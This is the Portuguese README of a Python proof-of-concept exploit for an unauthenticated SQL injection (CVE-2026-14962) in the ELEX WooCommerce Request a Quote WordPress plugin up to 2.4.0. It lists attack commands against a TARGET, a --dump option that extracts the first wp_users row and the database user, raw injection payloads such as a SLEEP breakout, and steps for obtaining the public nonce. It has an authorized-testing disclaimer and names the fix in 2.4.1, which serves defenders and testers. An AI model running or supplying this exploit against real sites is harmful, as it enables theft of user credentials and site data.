
Wordpress Plugin ELEX WooCommerce Request a Quote injeção de SQL não autenticada
Plugin WordPress ELEX WooCommerce Request a Quote — injeção SQL não autenticada
ELEX WooCommerce Request a Quote (plugin WordPress elex-request-a-quote) ≤ 2.4.0 — injeção SQL não autenticada através da ação AJAX pública elex_raq_add_to_quote.
Apenas para testes autorizados. Não execute isto contra sistemas que não possui ou para os quais não tem permissão de teste.
Requer: Python 3, apenas biblioteca padrão. O alvo deve estar a executar WooCommerce (os scripts/nonce de orçamento são impressos na página da loja/inicial).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| Flag | O que faz |
|---|
-u / --url | Raiz do site WordPress (obrigatório). http:// ou https://; um hostname é tentado primeiro como HTTPS, depois HTTP. TLS autoassinado é repetido automaticamente. --insecure ignora a verificação desde o início |
--test | Convidado: versão do plugin + nonce público, depois uma sonda SQL não destrutiva $0 |
--dump | Primeira linha de wp_users + utilizador da BD. Requer WP_DEBUG para que o erro XPATH esteja no corpo HTTP |
--query SQL | A sua própria expressão SQL (sem aspas simples; use 0x… hexadecimal para strings) |
--sql EXPR | data[id] em bruto após o breakout $0$0 (você escreve o gadget ) OR … #) |
--sleep N | Tentativa baseada em tempo SLEEP(N) |
--pid / --vid | IDs de produto / variação WooCommerce (a variação deve ser não vazia para atingir o sink) |
--insecure | Ignorar verificação TLS |
--timeout | Segundos de timeout HTTP (predefinição 30) |
Não autenticado. O nonce é impresso em request_a_quote_ajax_obj em / e /shop/. O cookie de convidado é request_a_quote_user_coockie (a grafia do plugin).
--test envia POST attribute_value=$0. O preg_replace vulnerável da 2.4.0 trata $0 como a correspondência %s e deixa um %d literal na consulta. A 2.4.1 vincula JSON_CONTAINS e $0 é apenas um valor JSON.
Stdout: VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.
CVE: CVE-2026-14962. Changelog do plugin 2.4.1.
